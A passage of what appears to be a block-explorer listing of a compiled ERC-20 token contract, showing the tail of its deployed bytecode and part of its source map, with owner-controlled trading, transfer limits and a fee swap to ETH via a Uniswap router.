b34801561026257600080fd5b50600d5461016f906301000000900460ff1681565b34801561028357600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102ab57600080fd5b506040805180820190915260058152640a6a882a6960db1b6020820152610139565b3480156102d957600080fd5b5061019460045481565b3480156102ef57600080fd5b5061016f6102fe3660046114e4565b61058f565b34801561030f57600080fd5b5061019460035481565b34801561032557600080fd5b5061023f61059c565b34801561033a57600080fd5b5061019460025481565b34801561035057600080fd5b5061019461035f36600461156e565b6001600160a01b03918216600090815260106020908152604080832093909416825291909152205490565b61023f61062f565b606060405180606001604052806022815260200161187a60229139905090565b60006103bf33848461099e565b5060015b92915050565b60006103d76009600a6116a1565b6103e590633b9aca006116b0565b905090565b60006103f7848484610ac2565b610449843361044485604051806060016040528060288152602001611852602891396001600160a01b038a16600090815260106020908152604080832033845290915290205491906110ba565b61099e565b5060019392505050565b6000546001600160a01b031633146104865760405162461bcd60e51b815260040161047d906116c7565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104fa5760405162461bcd60e51b815260040161047d906116c7565b6105066009600a6116a1565b61051490633b9aca006116b0565b6003556105236009600a6116a1565b61053190633b9aca006116b0565b6002557fea7a6680f18919695fe4ffc1ae5d3da40c7c6b19f93e55df6d568bbb9abb9de16105616009600a6116a1565b61056f90633b9aca006116b0565b60405190815260200160405180910390a1600d805463ff00000019169055565b60006103bf338484610ac2565b6000546001600160a01b031633146105c65760405162461bcd60e51b815260040161047d906116c7565b600d54610100900460ff161561061e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047d565b600d805461ff001916610100179055565b6000546001600160a01b031633146106595760405162461bcd60e51b815260040161047d906116c7565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106a29030906106946009600a6116a1565b61044490633b9aca006116b0565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071991906116fc565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079f91906116fc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081091906116fc565b600d80546001600160a01b0392831664010000000002640100000000600160c01b0319909116179055600f541663f305d7193430610863816001600160a01b031660009081526012602052604090205490565b6000806108786000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108e0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109059190611719565b5050600d54600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015264010000000090920416915063095ea7b3906044016020604051808303816000875af1158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190611747565b50600d805462ff0000191662010000179055565b6001600160a01b038316610a005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047d565b6001600160a01b038216610a615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047d565b6001600160a01b0383811660008181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216610b245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047d565b60008111610b865760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047d565b6001600160a01b038316610bea5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047d565b600080546001600160a01b03858116911614801590610c1757506000546001600160a01b03848116911614155b8015610c3c57506001600160a01b03841660009081526013602052604090205460ff16155b1561100c57610c6d6064610c67600654600b5411610c5c57600554610c60565b600a545b85906110f4565b9061117d565b90506001600160a01b0384163014610ccc57600d54610100900460ff16610ccc5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161047d565b600d546301000000900460ff1615610dc057600f546001600160a01b03848116911614801590610d125750600d546001600160a01b038481166401000000009092041614155b15610dc057326000908152601160205260409020544311610dad5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161047d565b3260009081526011602052604090204390555b600d546001600160a01b0385811664010000000090920416148015610df35750600f546001600160a01b03848116911614155b8015610e1857506001600160a01b03831660009081526013602052604090205460ff16155b15610f0057600254821115610e6f5760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865205f6d61785472616e73616374696f6e2e00000000604482015260640161047d565b60035482610e92856001600160a01b031660009081526012602052604090205490565b610e9c9190611769565b1115610eea5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047d565b600b8054906000610efa8361177c565b91905055505b600d546001600160a01b0384811664010000000090920416148015610f2e57506001600160a01b0384163014155b15610f7757610f3e8147846111bf565b30600090815260126020526040902054909150610f5b90826111eb565b600e546001600160a01b03166000908152601260205260409020555b30600090815260126020526040902054600d5460ff16158015610faf5750600d546001600160a01b0385811664010000000090920416145b8015610fc35750600d5462010000900460ff165b8015610fd0575060045481115b8015610fdf5750600954600b54115b1561100a57611001610ffc84610ff78460015461124a565b61124a565b61125f565b61100a476113d0565b505b6001600160a01b03831660009081526012602052604090205461102f90836111eb565b6001600160a01b03808516600090815260126020526040808220939093559086168152205461105e908361140e565b6001600160a01b0385811660008181526012602090815260409182902094909455518581529186169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600081848411156110de5760405162461bcd60e51b815260040161047d919061147e565b5060006110eb8486611795565b95945050505050565b600082600003611106575060006103c3565b600061111283856116b0565b90508261111f85836117a8565b146111765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047d565b9392505050565b600061117683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611450565b60006111cf82633b9aca006116b0565b6111d98486611795565b6111e39190611769565b949350505050565b6000806111f88385611769565b9050838110156111765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047d565b60008183116112595782611176565b50919050565b600d805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a1576112a16117ca565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131e91906116fc565b81600181518110611331576113316117ca565b6001600160a01b039283166020918202929092010152600f54611357913091168461099e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113909085906000908690309042906004016117e0565b600060405180830381600087803b1580156113aa57600080fd5b505af11580156113be573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561140a573d6000803e3d6000fd5b5050565b600061117683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ba565b600081836114715760405162461bcd60e51b815260040161047d919061147e565b5060006110eb84866117a8565b600060208083528351808285015260005b818110156114ab5785810183015185820160400152820161148f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114e157600080fd5b50565b600080604083850312156114f757600080fd5b8235611502816114cc565b946020939093013593505050565b60008060006060848603121561152557600080fd5b8335611530816114cc565b92506020840135611540816114cc565b929592945050506040919091013590565b60006020828403121561156357600080fd5b8135611176816114cc565b6000806040838503121561158157600080fd5b823561158c816114cc565b9150602083013561159c816114cc565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115f85781600019048211156115de576115de6115a7565b808516156115eb57918102915b93841c93908002906115c2565b509250929050565b60008261160f575060016103c3565b8161161c575060006103c3565b8160018114611632576002811461163c57611658565b60019150506103c3565b60ff84111561164d5761164d6115a7565b50506001821b6103c3565b5060208310610133831016604e8410600b841016171561167b575081810a6103c3565b61168583836115bd565b8060001904821115611699576116996115a7565b029392505050565b600061117660ff841683611600565b80820281158282048414176103c3576103c36115a7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561170e57600080fd5b8151611176816114cc565b60008060006060848603121561172e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561175957600080fd5b8151801515811461117657600080fd5b808201808211156103c3576103c36115a7565b60006001820161178e5761178e6115a7565b5060010190565b818103818111156103c3576103c36115a7565b6000826117c557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118305784516001600160a01b03168352938301939183019160010161180b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365456c6f6e4d61726b4265726e6172644a65666642696c6c4d756b6573684c61727279a26469706673582212204d313642b9c7b388c863ad4dc3785d1e1d30fed3f7188c92541fedd2078098b964736f6c63430008130033

Deployed Bytecode Sourcemap

3794:7501:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5869:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6454:161;;;;;;;;;;-1:-1:-1;6454:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6454:161:0;1023:187:1;6867:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6867:95:0;1215:177:1;4002:46:0;;;;;;;;;;;;;;;;5958:313;;;;;;;;;;-1:-1:-1;5958:313:0;;;;;:::i;:::-;;:::i;6776:83::-;;;;;;;;;;-1:-1:-1;6776:83:0;;4581:1;2000:36:1;;1988:2;1973:18;6776:83:0;1858:184:1;6970:119:0;;;;;;;;;;-1:-1:-1;6970:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7063:18:0;7036:7;7063:18;;;:9;:18;;;;;;;6970:119;2274:148;;;;;;;;;;;;;:::i;:::-;;7556:187;;;;;;;;;;;;;:::i;4764:35::-;;;;;;;;;;-1:-1:-1;4764:35:0;;;;;;;;;;;2430:79;;;;;;;;;;-1:-1:-1;2468:7:0;2495:6;2430:79;;-1:-1:-1;;;;;2495:6:0;;;2445:51:1;;2433:2;2418:18;2430:79:0;2299:203:1;5774:87:0;;;;;;;;;;-1:-1:-1;5846:7:0;;;;;;;;;;;;-1:-1:-1;;;5846:7:0;;;;5774:87;;4166:53;;;;;;;;;;;;;;;;6279:167;;;;;;;;;;-1:-1:-1;6279:167:0;;;;;:::i;:::-;;:::i;4112:47::-;;;;;;;;;;;;;;;;11143:147;;;;;;;;;;;;;:::i;4055:50::-;;;;;;;;;;;;;;;;6625:143;;;;;;;;;;-1:-1:-1;6625:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6733:18:0;;;6706:7;6733:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6625:143;8284:579;;;:::i;5869:83::-;5906:13;5939:5;;;;;;;;;;;;;;;;;5932:12;;5869:83;:::o;6454:161::-;6529:4;6546:39;367:10;6569:7;6578:6;6546:8;:39::i;:::-;-1:-1:-1;6603:4:0;6454:161;;;;;:::o;6867:95::-;6920:7;4634:13;4581:1;4634:2;:13;:::i;:::-;4624:23;;:7;:23;:::i;:::-;6940:14;;6867:95;:::o;5958:313::-;6056:4;6073:36;6083:6;6091:9;6102:6;6073:9;:36::i;:::-;6120:121;6129:6;367:10;6151:89;6189:6;6151:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6151:19:0;;;;;;:11;:19;;;;;;;;367:10;6151:33;;;;;;;;;;:37;:89::i;:::-;6120:8;:121::i;:::-;-1:-1:-1;6259:4:0;5958:313;;;;;:::o;2274:148::-;2187:6;;-1:-1:-1;;;;;2187:6:0;367:10;2187:22;2179:67;;;;-1:-1:-1;;;2179:67:0;;;;;;;:::i;:::-;;;;;;;;;2381:1:::1;2365:6:::0;;2344:40:::1;::::0;-1:-1:-1;;;;;2365:6:0;;::::1;::::0;2344:40:::1;::::0;2381:1;;2344:40:::1;2412:1;2395:19:::0;;-1:-1:-1;;;;;;2395:19:0::1;::::0;;2274:148::o;7556:187::-;2187:6;;-1:-1:-1;;;;;2187:6:0;367:10;2187:22;2179:67;;;;-1:-1:-1;;;2179:67:0;;;;;;;:::i;:::-;4634:13:::1;4581:1;4634:2;:13;:::i;:::-;4624:23;::::0;:7:::1;:23;:::i;:::-;7609:12;:20:::0;4634:13:::1;4581:1;4634:2;:13;:::i;:::-;4624:23;::::0;:7:::1;:23;:::i;:::-;7640:15;:25:::0;7681:21:::1;4634:13;4581:1;4634:2;:13;:::i;:::-;4624:23;::::0;:7:::1;:23;:::i;:::-;7681:21;::::0;1361:25:1;;;1349:2;1334:18;7681:21:0::1;;;;;;;7713:16;:22:::0;;-1:-1:-1;;7713:22:0::1;::::0;;7556:187::o;6279:167::-;6357:4;6374:42;367:10;6398:9;6409:6;6374:9;:42::i;11143:147::-;2187:6;;-1:-1:-1;;;;;2187:6:0;367:10;2187:22;2179:67;;;;-1:-1:-1;;;2179:67:0;;;;;;;:::i;:::-;11207:15:::1;::::0;::::1;::::0;::::1;;;11206:16;11198:51;;;::::0;-1:-1:-1;;;11198:51:0;;5151:2:1;11198:51:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;11198:51:0::1;4949:347:1::0;11198:51:0::1;11260:15;:22:::0;;-1:-1:-1;;11260:22:0::1;;;::::0;;11143:147::o;8284:579::-;2187:6;;-1:-1:-1;;;;;2187:6:0;367:10;2187:22;2179:67;;;;-1:-1:-1;;;2179:67:0;;;;;;;:::i;:::-;8348:15:::1;:78:::0;;-1:-1:-1;;;;;;8348:78:0::1;8383:42;8348:78:::0;;::::1;::::0;;;8437:58:::1;::::0;8454:4:::1;::::0;4634:13:::1;4581:1;4634:2;:13;:::i;:::-;4624:23;::::0;:7:::1;:23;:::i;8437:58::-;8540:15;;;;;;;;;-1:-1:-1::0;;;;;8540:15:0::1;-1:-1:-1::0;;;;;8540:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8522:55:0::1;;8586:4;8593:15;;;;;;;;;-1:-1:-1::0;;;;;8593:15:0::1;-1:-1:-1::0;;;;;8593:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8522:94;::::0;-1:-1:-1;;;;;;8522:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;8522:94:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;8522:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8506:13;:110:::0;;-1:-1:-1;;;;;8506:110:0;;::::1;::::0;::::1;-1:-1:-1::0;;;;;;8506:110:0;;::::1;;::::0;;8627:15:::1;::::0;::::1;:31;8666:9;8685:4;8691:24;8685:4:::0;-1:-1:-1;;;;;7063:18:0;7036:7;7063:18;;;:9;:18;;;;;;;6970:119;8691:24:::1;8716:1;8718::::0;8720:7:::1;2468::::0;2495:6;-1:-1:-1;;;;;2495:6:0;;2430:79;8720:7:::1;8627:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8627:117:0;;;-1:-1:-1;;;;;6225:15:1;;;8627:117:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;8728:15:0::1;6439:19:1::0;;;6432:35;6141:19;;8627:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8762:13:0::1;::::0;8793:15:::1;::::0;8755:71:::1;::::0;-1:-1:-1;;;8755:71:0;;-1:-1:-1;;;;;8793:15:0;;::::1;8762:13;8755:71:::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;8762:13:0;;;::::1;;::::0;-1:-1:-1;8755:29:0::1;::::0;6936:18:1;;8755:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8837:11:0::1;:18:::0;;-1:-1:-1;;8837:18:0::1;::::0;::::1;::::0;;8284:579::o;7103:335::-;-1:-1:-1;;;;;7196:19:0;;7188:68;;;;-1:-1:-1;;;7188:68:0;;7552:2:1;7188:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;7188:68:0;7350:400:1;7188:68:0;-1:-1:-1;;;;;7275:21:0;;7267:68;;;;-1:-1:-1;;;7267:68:0;;7957:2:1;7267:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;7267:68:0;7755:398:1;7267:68:0;-1:-1:-1;;;;;7346:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7398:32;;1361:25:1;;;7398:32:0;;1334:18:1;7398:32:0;;;;;;;7103:335;;;:::o;8875:2260::-;-1:-1:-1;;;;;8963:16:0;;8955:64;;;;-1:-1:-1;;;8955:64:0;;8360:2:1;8955:64:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:33;8532:19;;8955:64:0;8158:399:1;8955:64:0;9047:1;9038:6;:10;9030:64;;;;-1:-1:-1;;;9030:64:0;;8764:2:1;9030:64:0;;;8746:21:1;8803:2;8783:18;;;8776:30;8842:34;8822:18;;;8815:62;-1:-1:-1;;;8893:18:1;;;8886:39;8942:19;;9030:64:0;8562:405:1;9030:64:0;-1:-1:-1;;;;;9113:18:0;;9105:68;;;;-1:-1:-1;;;9105:68:0;;9174:2:1;9105:68:0;;;9156:21:1;9213:2;9193:18;;;9186:30;9252:34;9232:18;;;9225:62;-1:-1:-1;;;9303:18:1;;;9296:35;9348:19;;9105:68:0;8972:401:1;9105:68:0;9184:17;2495:6;;-1:-1:-1;;;;;9218:15:0;;;2495:6;;9218:15;;;;:32;;-1:-1:-1;2468:7:0;2495:6;-1:-1:-1;;;;;9237:13:0;;;2495:6;;9237:13;;9218:32;:63;;;;-1:-1:-1;;;;;;9256:25:0;;;;;;:19;:25;;;;;;;;9254:27;9218:63;9214:1768;;;9311:80;9387:3;9311:71;9334:18;;9323:10;;:29;9322:59;;9367:14;;9322:59;;;9354:12;;9322:59;9311:6;;:10;:71::i;:::-;:75;;:80::i;:::-;9299:92;-1:-1:-1;;;;;;9410:21:0;;9426:4;9410:21;9406:109;;9460:15;;;;;;;9452:47;;;;-1:-1:-1;;;9452:47:0;;9580:2:1;9452:47:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:49;9697:18;;9452:47:0;9378:343:1;9452:47:0;9545:16;;;;;;;9541:492;;;9602:15;;-1:-1:-1;;;;;9588:30:0;;;9602:15;;9588:30;;;;:62;;-1:-1:-1;9636:13:0;;-1:-1:-1;;;;;9622:28:0;;;9636:13;;;;;9622:28;;9588:62;9584:432;;;9736:9;9713:33;;;;:22;:33;;;;;;9780:12;-1:-1:-1;9677:244:0;;;;-1:-1:-1;;;9677:244:0;;9928:2:1;9677:244:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:34;9986:18;;;9979:62;10077:34;10057:18;;;10050:62;-1:-1:-1;;;10128:19:1;;;10121:40;10178:19;;9677:244:0;9726:477:1;9677:244:0;9969:9;9946:33;;;;:22;:33;;;;;9982:12;9946:48;;9584:432;10061:13;;-1:-1:-1;;;;;10053:21:0;;;10061:13;;;;;10053:21;:55;;;;-1:-1:-1;10092:15:0;;-1:-1:-1;;;;;10078:30:0;;;10092:15;;10078:30;;10053:55;:84;;;;-1:-1:-1;;;;;;10114:23:0;;;;;;:19;:23;;;;;;;;10112:25;10053:84;10049:319;;;10177:15;;10167:6;:25;;10159:66;;;;-1:-1:-1;;;10159:66:0;;10410:2:1;10159:66:0;;;10392:21:1;10449:2;10429:18;;;10422:30;10488;10468:18;;;10461:58;10536:18;;10159:66:0;10208:352:1;10159:66:0;10278:12;;10268:6;10252:13;10262:2;-1:-1:-1;;;;;7063:18:0;7036:7;7063:18;;;:9;:18;;;;;;;6970:119;10252:13;:22;;;;:::i;:::-;:38;;10244:77;;;;-1:-1:-1;;;10244:77:0;;10897:2:1;10244:77:0;;;10879:21:1;10936:2;10916:18;;;10909:30;10975:28;10955:18;;;10948:56;11021:18;;10244:77:0;10695:350:1;10244:77:0;10340:10;:12;;;:10;:12;;;:::i;:::-;;;;;;10049:319;10393:13;;-1:-1:-1;;;;;10387:19:0;;;10393:13;;;;;10387:19;:43;;;;-1:-1:-1;;;;;;10410:20:0;;10425:4;10410:20;;10387:43;10384:218;;;10462:44;:9;10476:21;10499:6;10462:13;:44::i;:::-;10565:4;10547:24;;;;:9;:24;;;;;;10450:56;;-1:-1:-1;10547:39:0;;10450:56;10547:28;:39::i;:::-;10535:10;;-1:-1:-1;;;;;10535:10:0;10525:21;;;;:9;:21;;;;;:61;10384:218;10665:4;10616:28;7063:18;;;:9;:18;;;;;;10691:6;;;;10690:7;:32;;;;-1:-1:-1;10709:13:0;;-1:-1:-1;;;;;10701:21:0;;;10709:13;;;;;10701:21;10690:32;:47;;;;-1:-1:-1;10726:11:0;;;;;;;10690:47;:89;;;;;10762:17;;10741:20;:38;10690:89;:122;;;;;10794:18;;10783:10;;:29;10690:122;10686:285;;;10833:68;10850:50;10854:6;10861:38;10865:20;10886:12;;10861:3;:38::i;:::-;10850:3;:50::i;:::-;10833:16;:68::i;:::-;10920:35;10933:21;10920:12;:35::i;:::-;9284:1698;9214:1768;-1:-1:-1;;;;;11006:13:0;;;;;;:9;:13;;;;;;:25;;11024:6;11006:17;:25::i;:::-;-1:-1:-1;;;;;10992:13:0;;;;;;;:9;:13;;;;;;:39;;;;11058:15;;;;;;;:27;;11078:6;11058:19;:27::i;:::-;-1:-1:-1;;;;;11042:15:0;;;;;;;:9;:15;;;;;;;;;:43;;;;11101:26;1361:25:1;;;11101:26:0;;;;11042:15;;11101:26;;1334:18:1;11101:26:0;;;;;;;8944:2191;8875:2260;;;:::o;3597:190::-;3683:7;3719:12;3711:6;;;;3703:29;;;;-1:-1:-1;;;3703:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3743:9:0;3755:5;3759:1;3755;:5;:::i;:::-;3743:17;3597:190;-1:-1:-1;;;;;3597:190:0:o;2727:246::-;2785:7;2809:1;2814;2809:6;2805:47;;-1:-1:-1;2839:1:0;2832:8;;2805:47;2862:9;2874:5;2878:1;2874;:5;:::i;:::-;2862:17;-1:-1:-1;2907:1:0;2898:5;2902:1;2862:17;2898:5;:::i;:::-;:10;2890:56;;;;-1:-1:-1;;;2890:56:0;;11747:2:1;2890:56:0;;;11729:21:1;11786:2;11766:18;;;11759:30;11825:34;11805:18;;;11798:62;-1:-1:-1;;;11876:18:1;;;11869:31;11917:19;;2890:56:0;11545:397:1;2890:56:0;2964:1;2727:246;-1:-1:-1;;;2727:246:0:o;3309:132::-;3367:7;3394:39;3398:1;3401;3394:39;;;;;;;;;;;;;;;;;:3;:39::i;2981:123::-;3050:7;3081;:1;3083:5;3081:7;:::i;:::-;3077:3;3079:1;3077;:3;:::i;:::-;:11;;;;:::i;:::-;3070:18;2981:123;-1:-1:-1;;;;2981:123:0:o;2540:179::-;2598:7;;2630:5;2634:1;2630;:5;:::i;:::-;2618:17;;2659:1;2654;:6;;2646:46;;;;-1:-1:-1;;;2646:46:0;;12149:2:1;2646:46:0;;;12131:21:1;12188:2;12168:18;;;12161:30;12227:29;12207:18;;;12200:57;12274:18;;2646:46:0;11947:351:1;7450:98:0;7507:7;7534:1;7532;:3;7531:9;;7539:1;7531:9;;;-1:-1:-1;7537:1:0;7450:98;-1:-1:-1;7450:98:0:o;7792:480::-;5277:6;:13;;-1:-1:-1;;5277:13:0;5286:4;5277:13;;;7891:16:::1;::::0;;7905:1:::1;7891:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7891:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7891:16:0::1;7867:40;;7936:4;7918;7923:1;7918:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7918:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7962:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7962:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7918:7;;7962:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7952:4;7957:1;7952:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7952:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8027:15:::1;::::0;7995:62:::1;::::0;8012:4:::1;::::0;8027:15:::1;8045:11:::0;7995:8:::1;:62::i;:::-;8068:15;::::0;:196:::1;::::0;-1:-1:-1;;;8068:196:0;;-1:-1:-1;;;;;8068:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;8149:11;;8068:15:::1;::::0;8191:4;;8218::::1;::::0;8238:15:::1;::::0;8068:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5313:6:0;:14;;-1:-1:-1;;5313:14:0;;;-1:-1:-1;;;;7792:480:0:o;5670:92::-;5727:10;;:27;;-1:-1:-1;;;;;5727:10:0;;;;:27;;;;;5747:6;;5727:10;:27;:10;:27;5747:6;5727:10;:27;;;;;;;;;;;;;;;;;;;;;5670:92;:::o;3453:136::-;3511:7;3538:43;3542:1;3545;3538:43;;;;;;;;;;;;;;;;;:3;:43::i;3112:189::-;3198:7;3233:12;3226:5;3218:28;;;;-1:-1:-1;;;3218:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3257:9:0;3269:5;3273:1;3269;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8